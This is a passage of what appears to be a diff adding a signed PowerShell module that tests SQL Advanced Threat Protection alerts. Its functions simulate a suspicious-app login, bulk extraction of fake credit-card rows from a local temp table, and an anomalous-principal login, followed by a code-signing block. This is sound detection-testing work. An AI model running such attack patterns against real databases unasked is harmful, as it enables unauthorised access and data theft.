System.Data.SqlClient.SqlConnection $connectionString; + $sqlConnection.Credential = $sqlCredential; + } + else + { + $connectionString = "Server = $server;User ID=$UserName;Password='';Connect Timeout=5;application name=$applicationName" + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + } + + try + { + $sqlConnection.Open(); + LogOk "Successfully simulated login from a suspicious app on $server" + } + catch + { + if ($_.Exception.InnerException.Number -eq 18456) + { + LogOk "Successfully simulated login from a suspicious app on $server." + } + else + { + LogError "Failed to simulate login from a suspicious app. Error $($_.Exception.InnerException.Number)" + } + } + finally + { + $sqlConnection.Dispose(); + } +} + +Function Test-DataExfiltration( + [Parameter(Mandatory=$false)] + [string]$InstanceName, + [Parameter(Mandatory=$false)] + [string]$Port, + [Parameter(Mandatory=$false)] + [string]$UserName, + [Parameter(Mandatory=$false)] + [securestring]$Password) +{ + <# + .SYNOPSIS + Simulates an anomalous data exfiltration. + .Parameter InstanceName + Provide the non default instance to connect to. + .Parameter Port + Provide a non default port to connect to. + .Parameter UserName + Supply a username to use for logging in using SQL Server authentication. If not supplied, use Windows authentication. + .Parameter Password + Supply a password to use for logging in using SQL Server authentication. If not supplied, use Windows authentication. + #> + + $server = $env:COMPUTERNAME + + if (![String]::IsNullOrEmpty($InstanceName)) + { + $server += "\$InstanceName" + } + + if (![String]::IsNullOrEmpty($Port)) + { + $server += ",$Port" + } + + try + { + $connectionString = "Server = $server; application name=data_exfiltration_59d9007ba9b54ade9f60ba8af55355ea;"; + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + + if (![String]::IsNullOrEmpty($UserName) -and ![String]::IsNullOrEmpty($Password)) + { + $sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password; + $sqlConnection.Credential = $sqlCredential; + LogInfo "Trying to log in using SQL credentials, with user name: $UserName."; + } + else + { + $connectionString += " Integrated Security = true;" + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + LogInfo "Trying to log in using Windows authentication."; + } + + $SqlConnection.Open(); + + LogInfo "Initializing temporary table for test, this may take a few minutes..."; + + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "CREATE TABLE #Information + ( + name VARCHAR(50), + credit_card VARCHAR (50) + + )", $sqlConnection; + $sqlCommand.ExecuteNonQuery() | Out-Null; + + $tempGuid = New-Guid; + + for($i=1; $i -le 1500; $i++) + { + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "INSERT INTO #Information (name, credit_card) + VALUES ('James Jones the $i th', '$i --$tempGuid')", $sqlConnection; + $sqlCommand.ExecuteNonQuery() | Out-Null; + Start-Sleep -Milliseconds 1; + } + + LogInfo "Extracting data..."; + + for($i=1; $i -le 600; $i++) + { + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "SELECT TOP $i * FROM #Information --$tempGuid", $sqlConnection; + $sqlCommand.ExecuteNonQuery() | Out-Null; + } + + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "SELECT * FROM #Information --$tempGuid", $sqlConnection; + $sqlCommand.ExecuteNonQuery() | Out-Null; + } + catch + { + LogError "Failed to test data exfiltration. Error $($_.Exception.InnerException.Number)" + return + } + finally + { + $sqlConnection.Dispose(); + } + + LogOk "Successfully tested data exfiltration on $server" +} + +Function Test-SqlAtpPrincipalAnomaly( + [Parameter(Mandatory=$false)] + [string]$InstanceName, + [Parameter(Mandatory=$false)] + [string]$Port, + [Parameter(Mandatory=$true)] + [string]$UserName, + [Parameter(Mandatory=$false)] + [securestring]$Password ) +{ + <# + .SYNOPSIS + Simulates a Login by a principal that is considered an anomaly. + .Parameter InstanceName + Provide the non default instance to connect to. + .Parameter Port + Provide a non default port to connect to. + .Parameter UserName + Provide the principal name to use in the connection. + .Parameter Password + Provide the password of the principal to use in the connection. + #> + + $server = $env:COMPUTERNAME + + if (![String]::IsNullOrEmpty($InstanceName)) + { + $server += "\$InstanceName" + } + + if (![String]::IsNullOrEmpty($Port)) + { + $server += ",$Port" + } + + $applicationName = 'principal_anomaly_59d9007ba9b54ade9f60ba8af55355ea' + + $Password.MakeReadOnly(); + $connectionString = "Server = $server;application name=$applicationName"; + $sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password; + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + $sqlConnection.Credential = $sqlCredential; + + try + { + $sqlConnection.Open(); + LogOk "Successfully simulated login on $server from a principal that will be considered an anomaly." + } + catch + { + LogError "Failed to simulate a principal anomaly login on $server." + } + finally + { + $sqlConnection.Dispose(); + } +} + +[Flags()] +enum EventLogLevel +{ + None = 0 + Alerts = 1 + Logins = 2 + Queries = 4 +} + +Function Set-SqlAtpEventLogLevel( + [Parameter(Mandatory)] + [ValidateNotNullOrEmpty()] + [EventLogLevel] $Level +) +{ + $item = New-ItemProperty "HKLM:\SOFTWARE\Microsoft\AzureOperationalInsights\" -Name "SqlQueryProtection_EventLogWriteStatus" -PropertyType "DWord" -Force -Value $Level + if ($item) + { + LogOk "Successfully set event log level" + } + else + { + LogError "To run this command, please use elevated prompt." + } +} + +Function Test-SqlAtpAgentStatus +{ + <# + .SYNOPSIS + Test the status of OMS Agent that it is installed, running and if there was a recent restart. + #> + + $timeWindowToCheckLogs = ([DateTimeOffset]::UtcNow - [TimeSpan]::FromHours(2)).LocalDateTime + $minimumAgentVersion = New-Object System.Version("10.20.18011.0") + + Test-OMSAgentInstalled + Test-OmsAgentRunning + Test-OmsAgentRestartedLately +} + +Function Test-SqlAtpInstancesStatus +{ + <# + .SYNOPSIS + Test the ATP status of SQL Instances running on the machine by examining Windows Event Log + #> + + $timeWindowToCheckLogs = ([DateTimeOffset]::UtcNow - [TimeSpan]::FromHours(2)).LocalDateTime + $result = Test-SqlInstancesThreatDetectionStatus + Write-Host + if($result -eq $false) + { + LogError "************************************************************** + **** Status tests Failed! **** + **** See error messages in log traces above **** + **************************************************************" + return + } + + LogOk "************************************************************** + **** All tests results passed **** + **** SQL Advanced Threat Protection installed and running **** + **************************************************************" +} + +# Exported functions +Export-ModuleMember -Function Get-SqlAtpManagementPackVersion +Export-ModuleMember -Function Get-SqlAtpMonitoringAgentAndWorkspaceId +Export-ModuleMember -Function Get-SqlAtpServerInstancesVersions +Export-ModuleMember -Function Start-SqlAtpEtwTracing +Export-ModuleMember -Function Stop-SqlAtpEtwTracing +Export-ModuleMember -Function Test-SqlAtpBruteForce +Export-ModuleMember -Function Test-DataExfiltration +Export-ModuleMember -Function Test-SqlAtpInjection +Export-ModuleMember -Function Test-SqlAtpShellObfuscation +Export-ModuleMember -Function Test-SqlAtpShellExternalSourceAnomaly +Export-ModuleMember -Function Test-SqlAtpLoginSuspiciousApp +Export-ModuleMember -Function Set-SqlAtpEventLogLevel +Export-ModuleMember -Function Test-SqlAtpAgentStatus +Export-ModuleMember -Function Test-SqlAtpInstancesStatus +Export-ModuleMember -Function Test-SqlAtpPrincipalAnomaly + +LogInfo "For a list of available commands in the module run: +Get-Command -Module SqlAdvancedThreatProtectionShell" +# SIG # Begin signature block +# MIInwgYJKoZIhvcNAQcCoIInszCCJ68CAQExDzANBglghkgBZQMEAgEFADB5Bgor +# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG +# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCIElDvNtsdWMgZ +# Ca96sfrvJweY5RW3++xaijbnx+V+iaCCDXYwggX0MIID3KADAgECAhMzAAADTrU8 +# esGEb+srAAAAAANOMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD +# VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy +# b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p +# bmcgUENBIDIwMTEwHhcNMjMwMzE2MTg0MzI5WhcNMjQwMzE0MTg0MzI5WjB0MQsw +# CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u +# ZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMR4wHAYDVQQDExVNaWNy +# b3NvZnQgQ29ycG9yYXRpb24wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB +# AQDdCKiNI6IBFWuvJUmf6WdOJqZmIwYs5G7AJD5UbcL6tsC+EBPDbr36pFGo1bsU +# p53nRyFYnncoMg8FK0d8jLlw0lgexDDr7gicf2zOBFWqfv/nSLwzJFNP5W03DF/1 +# 1oZ12rSFqGlm+O46cRjTDFBpMRCZZGddZlRBjivby0eI1VgTD1TvAdfBYQe82fhm +# WQkYR/lWmAK+vW/1+bO7jHaxXTNCxLIBW07F8PBjUcwFxxyfbe2mHB4h1L4U0Ofa +# +HX/aREQ7SqYZz59sXM2ySOfvYyIjnqSO80NGBaz5DvzIG88J0+BNhOu2jl6Dfcq +# jYQs1H/PMSQIK6E7lXDXSpXzAgMBAAGjggFzMIIBbzAfBgNVHSUEGDAWBgorBgEE +# AYI3TAgBBggrBgEFBQcDAzAdBgNVHQ4EFgQUnMc7Zn/ukKBsBiWkwdNfsN5pdwAw +# RQYDVR0RBD4wPKQ6MDgxHjAcBgNVBAsTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEW +# MBQGA1UEBRMNMjMwMDEyKzUwMDUxNjAfBgNVHSMEGDAWgBRIbmTlUAXTgqoXNzci +# tW2oynUClTBUBgNVHR8ETTBLMEmgR6BFhkNodHRwOi8vd3d3Lm1pY3Jvc29mdC5j +# b20vcGtpb3BzL2NybC9NaWNDb2RTaWdQQ0EyMDExXzIwMTEtMDctMDguY3JsMGEG +# CCsGAQUFBwEBBFUwUzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQu +# Y29tL3BraW9wcy9jZXJ0cy9NaWNDb2RTaWdQQ0EyMDExXzIwMTEtMDctMDguY3J0 +# MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggIBAD21v9pHoLdBSNlFAjmk +# mx4XxOZAPsVxxXbDyQv1+kGDe9XpgBnT1lXnx7JDpFMKBwAyIwdInmvhK9pGBa31 +# TyeL3p7R2s0L8SABPPRJHAEk4NHpBXxHjm4TKjezAbSqqbgsy10Y7KApy+9UrKa2 +# kGmsuASsk95PVm5vem7OmTs42vm0BJUU+JPQLg8Y/sdj3TtSfLYYZAaJwTAIgi7d +# hzn5hatLo7Dhz+4T+MrFd+6LUa2U3zr97QwzDthx+RP9/RZnur4inzSQsG5DCVIM +# pA1l2NWEA3KAca0tI2l6hQNYsaKL1kefdfHCrPxEry8onJjyGGv9YKoLv6AOO7Oh +# JEmbQlz/xksYG2N/JSOJ+QqYpGTEuYFYVWain7He6jgb41JbpOGKDdE/b+V2q/gX +# UgFe2gdwTpCDsvh8SMRoq1/BNXcr7iTAU38Vgr83iVtPYmFhZOVM0ULp/kKTVoir +# IpP2KCxT4OekOctt8grYnhJ16QMjmMv5o53hjNFXOxigkQWYzUO+6w50g0FAeFa8 +# 5ugCCB6lXEk21FFB1FdIHpjSQf+LP/W2OV/HfhC3uTPgKbRtXo83TZYEudooyZ/A +# Vu08sibZ3MkGOJORLERNwKm2G7oqdOv4Qj8Z0JrGgMzj46NFKAxkLSpE5oHQYP1H +# tPx1lPfD7iNSbJsP6LiUHXH1MIIHejCCBWKgAwIBAgIKYQ6Q0gAAAAAAAzANBgkq +# hkiG9w0BAQsFADCBiDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24x +# EDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlv +# bjEyMDAGA1UEAxMpTWljcm9zb2Z0IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5 +# IDIwMTEwHhcNMTEwNzA4MjA1OTA5WhcNMjYwNzA4MjEwOTA5WjB+MQswCQYDVQQG +# EwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwG +# A1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSgwJgYDVQQDEx9NaWNyb3NvZnQg +# Q29kZSBTaWduaW5nIFBDQSAyMDExMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIIC +# CgKCAgEAq/D6chAcLq3YbqqCEE00uvK2WCGfQhsqa+laUKq4BjgaBEm6f8MMHt03 +# a8YS2AvwOMKZBrDIOdUBFDFC04kNeWSHfpRgJGyvnkmc6Whe0t+bU7IKLMOv2akr +# rnoJr9eWWcpgGgXpZnboMlImEi/nqwhQz7NEt13YxC4Ddato88tt8zpcoRb0Rrrg +# OGSsbmQ1eKagYw8t00CT+OPeBw3VXHmlSSnnDb6gE3e+lD3v++MrWhAfTVYoonpy +# 4BI6t0le2O3tQ5GD2Xuye4Yb2T6xjF3oiU+EGvKhL1nkkDstrjNYxbc+/jLTswM9 +# sbKvkjh+0p2ALPVOVpEhNSXDOW5kf1O6nA+tGSOEy/S6A4aN91/w0FK/jJSHvMAh +# dCVfGCi2zCcoOCWYOUo2z3yxkq4cI6epZuxhH2rhKEmdX4jiJV3TIUs+UsS1Vz8k +# A/DRelsv1SPjcF0PUUZ3s/gA4bysAoJf28AVs70b1FVL5zmhD+kjSbwYuER8ReTB +# w3J64HLnJN+/RpnF78IcV9uDjexNSTCnq47f7Fufr/zdsGbiwZeBe+3W7UvnSSmn +# Eyimp31ngOaKYnhfsi+E11ecXL93KCjx7W3DKI8sj0A3T8HhhUSJxAlMxdSlQy90 +# lfdu+HggWCwTXWCVmj5PM4TasIgX3p5O9JawvEagbJjS4NaIjAsCAwEAAaOCAe0w +# ggHpMBAGCSsGAQQBgjcVAQQDAgEAMB0GA1UdDgQWBBRIbmTlUAXTgqoXNzcitW2o +# ynUClTAZBgkrBgEEAYI3FAIEDB4KAFMAdQBiAEMAQTALBgNVHQ8EBAMCAYYwDwYD +# VR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBRyLToCMZBDuRQFTuHqp8cx0SOJNDBa +# BgNVHR8EUzBRME+gTaBLhklodHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL2Ny +# bC9wcm9kdWN0cy9NaWNSb29DZXJBdXQyMDExXzIwMTFfMDNfMjIuY3JsMF4GCCsG +# AQUFBwEBBFIwUDBOBggrBgEFBQcwAoZCaHR0cDovL3d3dy5taWNyb3NvZnQuY29t +# L3BraS9jZXJ0cy9NaWNSb29DZXJBdXQyMDExXzIwMTFfMDNfMjIuY3J0MIGfBgNV +# HSAEgZcwgZQwgZEGCSsGAQQBgjcuAzCBgzA/BggrBgEFBQcCARYzaHR0cDovL3d3 +# dy5taWNyb3NvZnQuY29tL3BraW9wcy9kb2NzL3ByaW1hcnljcHMuaHRtMEAGCCsG +# AQUFBwICMDQeMiAdAEwAZQBnAGEAbABfAHAAbwBsAGkAYwB5AF8AcwB0AGEAdABl +# AG0AZQBuAHQALiAdMA0GCSqGSIb3DQEBCwUAA4ICAQBn8oalmOBUeRou09h0ZyKb +# C5YR4WOSmUKWfdJ5DJDBZV8uLD74w3LRbYP+vj/oCso7v0epo/Np22O/IjWll11l +# hJB9i0ZQVdgMknzSGksc8zxCi1LQsP1r4z4HLimb5j0bpdS1HXeUOeLpZMlEPXh6 +# I/MTfaaQdION9MsmAkYqwooQu6SpBQyb7Wj6aC6VoCo/KmtYSWMfCWluWpiW5IP0 +# wI/zRive/DvQvTXvbiWu5a8n7dDd8w6vmSiXmE0OPQvyCInWH8MyGOLwxS3OW560 +# STkKxgrCxq2u5bLZ2xWIUUVYODJxJxp/sfQn+N4sOiBpmLJZiWhub6e3dMNABQam +# ASooPoI/E01mC8CzTfXhj38cbxV9Rad25UAqZaPDXVJihsMdYzaXht/a8/jyFqGa +# J+HNpZfQ7l1jQeNbB5yHPgZ3BtEGsXUfFL5hYbXw3MYbBL7fQccOKO7eZS/sl/ah +# XJbYANahRr1Z85elCUtIEJmAH9AAKcWxm6U/RXceNcbSoqKfenoi+kiVH6v7RyOA +# 9Z74v2u3S5fi63V4GuzqN5l5GEv/1rMjaHXmr/r8i+sLgOppO6/8MO0ETI7f33Vt +# Y5E90Z1WTk+/gFcioXgRMiF670EKsT/7qMykXcGhiJtXcVZOSEXAQsmbdlsKgEhr +# /Xmfwb1tbWrJUnMTDXpQzTGCGaIwghmeAgEBMIGVMH4xCzAJBgNVBAYTAlVTMRMw +# EQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVN +# aWNyb3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNp +# Z25pbmcgUENBIDIwMTECEzMAAANOtTx6wYRv6ysAAAAAA04wDQYJYIZIAWUDBAIB +# BQCgga4wGQYJKoZIhvcNAQkDMQwGCisGAQQBgjcCAQQwHAYKKwYBBAGCNwIBCzEO +# MAwGCisGAQQBgjcCARUwLwYJKoZIhvcNAQkEMSIEIHYUq/WUCqpN9OdYAHkLI7zR +# Ce+FAbN1+SQ+aBidNMCtMEIGCisGAQQBgjcCAQwxNDAyoBSAEgBNAGkAYwByAG8A +# cwBvAGYAdKEagBhodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20wDQYJKoZIhvcNAQEB +# BQAEggEAoDTmxHqPalcSDGZkiqZE+yMFHyXpbKZqgoLdG9DZn6kCtnP43ha3OEOp +# 30hcA7Yl2W5dAiZDC3sWhg5V4DhPF2Q2pGPg/gLjkvf5pRMdPerZqelWN08Og89m +# CzdW0xOGcNJEWedntzNbTcv3d+M11oguBOp9qXJxnaloIIJYM8oYi5V62f7w/W7S +# lOBEGQGTu+i/Kt3jbTqhAff8U+FwF+Ig6nCyzZw1sxBIybbPcfXVDBf1S9euXidb +# /PenJKjidZ868IwLprKGb3GAC9sgmgL/rWXDhDOnYMpGwcC+obt1Enh7isbt8KXm +# B19YaT8AxwcmfQnKWqZeehnZkLlLBqGCFywwghcoBgorBgEEAYI3AwMBMYIXGDCC +# FxQGCSqGSIb3DQEHAqCCFwUwghcBAgEDMQ8wDQYJYIZIAWUDBAIBBQAwggFZBgsq +# hkiG9w0BCRABBKCCAUgEggFEMIIBQAIBAQYKKwYBBAGEWQoDATAxMA0GCWCGSAFl +# AwQCAQUABCCVwY/Z16Rf2gcdjU7HDf8thtwu+TTBzYzqgLHfJ0G4jQIGZN5gHRzr +# GBMyMDIzMDkxODE1MzQ0Mi4xODFaMASAAgH0oIHYpIHVMIHSMQswCQYDVQQGEwJV +# UzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UE +# ChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMS0wKwYDVQQLEyRNaWNyb3NvZnQgSXJl +# bGFuZCBPcGVyYXRpb25zIExpbWl0ZWQxJjAkBgNVBAsTHVRoYWxlcyBUU1MgRVNO +# OjhENDEtNEJGNy1CM0I3MSUwIwYDVQQDExxNaWNyb3NvZnQgVGltZS1TdGFtcCBT +# ZXJ2aWNloIIRezCCBycwggUPoAMCAQICEzMAAAGz/iXOKRsbihwAAQAAAbMwDQYJ +# KoZIhvcNAQELBQAwfDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24x +# EDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlv +# bjEmMCQGA1UEAxMdTWljcm9zb2Z0IFRpbWUtU3RhbXAgUENBIDIwMTAwHhcNMjIw +# OTIwMjAyMjAzWhcNMjMxMjE0MjAyMjAzWjCB0jELMAkGA1UEBhMCVVMxEzARBgNV +# BAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jv +# c29mdCBDb3Jwb3JhdGlvbjEtMCsGA1UECxMkTWljcm9zb2Z0IElyZWxhbmQgT3Bl +# cmF0aW9ucyBMaW1pdGVkMSYwJAYDVQQLEx1UaGFsZXMgVFNTIEVTTjo4RDQxLTRC +# RjctQjNCNzElMCMGA1UEAxMcTWljcm9zb2Z0IFRpbWUtU3RhbXAgU2VydmljZTCC +# AiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBALR8D7rmGICuLLBggrK9je3h +# JSpc9CTwbra/4Kb2eu5DZR6oCgFtCbigMuMcY31QlHr/3kuWhHJ05n4+t377PHon +# dDDbz/dU+q/NfXSKr1pwU2OLylY0sw531VZ1sWAdyD2EQCEzTdLD4KJbC6wmACon +# iJBAqvhDyXxJ0Nuvlk74rdVEvribsDZxzClWEa4v62ENj/HyiCUX3MZGnY/AhDya +# zfpchDWoP6cJgNCSXmHV9XsJgXJ4l+AYAgaqAvN8N+EpN+0TErCgFOfwZV21cg7v +# genOV48gmG/EMf0LvRAeirxPUu+jNB3JSFbW1WU8Z5xsLEoNle35icdET+G3wDNm +# cSXlQYs4t94IWR541+PsUTkq0kmdP4/1O4GD54ZsJ5eUnLaawXOxxT1fgbWb9VRg +# 1Z4aspWpuL5gFwHa8UNMRxsKffor6qrXVVQ1OdJOS1JlevhpZlssSCVDodMc30I3 +# fWezny6tNOofpfaPrtwJ0ukXcLD1yT+89u4uQB/rqUK6J7HpkNu0fR5M5xGtOch9 +# nyncO9alorxDfiEdb6zeqtCfcbo46u+/rfsslcGSuJFzlwENnU+vQ+JJ6jJRUrB+ +# mr51zWUMiWTLDVmhLd66//Da/YBjA0Bi0hcYuO/WctfWk/3x87ALbtqHAbk6i1cJ +# 8a2coieuj+9BASSjuXkBAgMBAAGjggFJMIIBRTAdBgNVHQ4EFgQU0BpdwlFnUgwY +# izhIIf9eBdyfw40wHwYDVR0jBBgwFoAUn6cVXQBeYl2D9OXSZacbUzUZ6XIwXwYD +# VR0fBFgwVjBUoFKgUIZOaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraW9wcy9j +# cmwvTWljcm9zb2Z0JTIwVGltZS1TdGFtcCUyMFBDQSUyMDIwMTAoMSkuY3JsMGwG +# CCsGAQUFBwEBBGAwXjBcBggrBgEFBQcwAoZQaHR0cDovL3d3dy5taWNyb3NvZnQu +# Y29tL3BraW9wcy9jZXJ0cy9NaWNyb3NvZnQlMjBUaW1lLVN0YW1wJTIwUENBJTIw +# MjAxMCgxKS5jcnQwDAYDVR0TAQH/BAIwADAWBgNVHSUBAf8EDDAKBggrBgEFBQcD +# CDAOBgNVHQ8BAf8EBAMCB4AwDQYJKoZIhvcNAQELBQADggIBAFqGuzfOsAm4wAJf +# ERmJgWW0tNLLPk6VYj53+hBmUICsqGgj9oXNNatgCq+jHt03EiTzVhxteKWOLoTM +# x39cCcUJgDOQIH+GjuyjYVVdOCa9Fx6lI690/OBZFlz2DDuLpUBuo//v3e4Kns41 +# 2mO3A6mDQkndxeJSsdBSbkKqccB7TC/muFOhzg39mfijGICc1kZziJE/6HdKCF8p +# 9+vs1yGUR5uzkIo+68q/n5kNt33hdaQ234VEh0wPSE+dCgpKRqfxgYsBT/5tXa3e +# 8TXyJlVoG9jwXBrKnSQb4+k19jHVB3wVUflnuANJRI9azWwqYFKDbZWkfQ8tpNoF +# fKKFRHbWomcodP1bVn7kKWUCTA8YG2RlTBtvrs3CqY3mADTJUig4ckN/MG6AIr8Q +# +ACmKBEm4OFpOcZMX0cxasopdgxM9aSdBusaJfZ3Itl3vC5C3RE97uURsVB2pvC+ +# CnjFtt/PkY71l9UTHzUCO++M4hSGSzkfu+yBhXMGeBZqLXl9cffgYPcnRFjQT97G +# b/bg4ssLIFuNJNNAJub+IvxhomRrtWuB4SN935oMfvG5cEeZ7eyYpBZ4DbkvN44Z +# vER0EHRakL2xb1rrsj7c8I+auEqYztUpDnuq6BxpBIUAlF3UDJ0SMG5xqW/9hLMW +# naJCvIerEWTFm64jthAi0BDMwnCwMIIHcTCCBVmgAwIBAgITMwAAABXF52ueAptJ +# mQAAAAAAFTANBgkqhkiG9w0BAQsFADCBiDELMAkGA1UEBhMCVVMxEzARBgNVBAgT +# Cldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29m +# dCBDb3Jwb3JhdGlvbjEyMDAGA1UEAxMpTWljcm9zb2Z0IFJvb3QgQ2VydGlmaWNh +# dGUgQXV0aG9yaXR5IDIwMTAwHhcNMjEwOTMwMTgyMjI1WhcNMzAwOTMwMTgzMjI1 +# WjB8MQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMH +# UmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSYwJAYDVQQD +# Ex1NaWNyb3NvZnQgVGltZS1TdGFtcCBQQ0EgMjAxMDCCAiIwDQYJKoZIhvcNAQEB +# BQADggIPADCCAgoCggIBAOThpkzntHIhC3miy9ckeb0O1YLT/e6cBwfSqWxOdcjK +# NVf2AX9sSuDivbk+F2Az/1xPx2b3lVNxWuJ+Slr+uDZnhUYjDLWNE893MsAQGOhg +# fWpSg0S3po5GawcU88V29YZQ3MFEyHFcUTE3oAo4bo3t1w/YJlN8OWECesSq/XJp +# rx2rrPY2vjUmZNqYO7oaezOtgFt+jBAcnVL+tuhiJdxqD89d9P6OU8/W7IVWTe/d +# vI2k45GPsjksUZzpcGkNyjYtcI4xyDUoveO0hyTD4MmPfrVUj9z6BVWYbWg7mka9 +# 7aSueik3rMvrg0XnRm7KMtXAhjBcTyziYrLNueKNiOSWrAFKu75xqRdbZ2De+JKR +# Hh09/SDPc31BmkZ1zcRfNN0Sidb9pSB9fvzZnkXftnIv231fgLrbqn427DZM9itu +# qBJR6L8FA6PRc6ZNN3SUHDSCD/AQ8rdHGO2n6Jl8P0zbr17C89XYcz1DTsEzOUyO +# ArxCaC4Q6oRRRuLRvWoYWmEBc8pnol7XKHYC4jMYctenIPDC+hIK12NvDMk2ZItb +# oKaDIV1fMHSRlJTYuVD5C4lh8zYGNRiER9vcG9H9stQcxWv2XFJRXRLbJbqvUAV6 +# bMURHXLvjflSxIUXk8A8FdsaN8cIFRg/eKtFtvUeh17aj54WcmnGrnu3tz5q4i6t +# AgMBAAGjggHdMIIB2TASBgkrBgEEAYI3FQEEBQIDAQABMCMGCSsGAQQBgjcVAgQW +# BBQqp1L+ZMSavoKRPEY1Kc8Q/y8E7jAdBgNVHQ4EFgQUn6cVXQBeYl2D9OXSZacb +# UzUZ6XIwXAYDVR0gBFUwUzBRBgwrBgEEAYI3TIN9AQEwQTA/BggrBgEFBQcCARYz +# aHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraW9wcy9Eb2NzL1JlcG9zaXRvcnku +# aHRtMBMGA1UdJQQMMAoGCCsGAQUFBwMIMBkGCSsGAQQBgjcUAgQMHgoAUwB1AGIA +# QwBBMAsGA1UdDwQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNX2 +# VsuP6KJcYmjRPZSQW9fOmhjEMFYGA1UdHwRPME0wS6BJoEeGRWh0dHA6Ly9jcmwu +# bWljcm9zb2Z0LmNvbS9wa2kvY3JsL3Byb2R1Y3RzL01pY1Jvb0NlckF1dF8yMDEw +# LTA2LTIzLmNybDBaBggrBgEFBQcBAQROMEwwSgYIKwYBBQUHMAKGPmh0dHA6Ly93 +# d3cubWljcm9zb2Z0LmNvbS9wa2kvY2VydHMvTWljUm9vQ2VyQXV0XzIwMTAtMDYt +# MjMuY3J0MA0GCSqGSIb3DQEBCwUAA4ICAQCdVX38Kq3hLB9nATEkW+Geckv8qW/q +# XBS2Pk5HZHixBpOXPTEztTnXwnE2P9pkbHzQdTltuw8x5MKP+2zRoZQYIu7pZmc6 +# U03dmLq2HnjYNi6cqYJWAAOwBb6J6Gngugnue99qb74py27YP0h1AdkY3m2CDPVt +# I1TkeFN1JFe53Z/zjj3G82jfZfakVqr3lbYoVSfQJL1AoL8ZthISEV09J+BAljis +# 9/kpicO8F7BUhUKz/AyeixmJ5/ALaoHCgRlCGVJ1ijbCHcNhcy4sa3tuPywJeBTp +# kbKpW99Jo3QMvOyRgNI95ko+ZjtPu4b6MhrZlvSP9pEB9s7GdP32THJvEKt1MMU0 +# sHrYUP4KWN1APMdUbZ1jdEgssU5HLcEUBHG/ZPkkvnNtyo4JvbMBV0lUZNlz138e +# W0QBjloZkWsNn6Qo3GcZKCS6OEuabvshVGtqRRFHqfG3rsjoiV5PndLQTHa1V1QJ +# sWkBRH58oWFsc/4Ku+xBZj1p/cvBQUl+fpO+y/g75LcVv7TOPqUxUYS8vwLBgqJ7 +# Fx0ViY1w/ue10CgaiQuPNtq6TPmb/wrpNPgkNWcr4A245oyZ1uEi6vAnQj0llOZ0 +# dFtq0Z4+7X6gMTN9vMvpe784cETRkPHIqzqKOghif9lwY1NNje6CbaUFEMFxBmoQ +# tB1VM1izoXBm8qGCAtcwggJAAgEBMIIBAKGB2KSB1TCB0jELMAkGA1UEBhMCVVMx +# EzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoT +# FU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEtMCsGA1UECxMkTWljcm9zb2Z0IElyZWxh +# bmQgT3BlcmF0aW9ucyBMaW1pdGVkMSYwJAYDVQQLEx1UaGFsZXMgVFNTIEVTTjo4 +# RDQxLTRCRjctQjNCNzElMCMGA1UEAxMcTWljcm9zb2Z0IFRpbWUtU3RhbXAgU2Vy +# 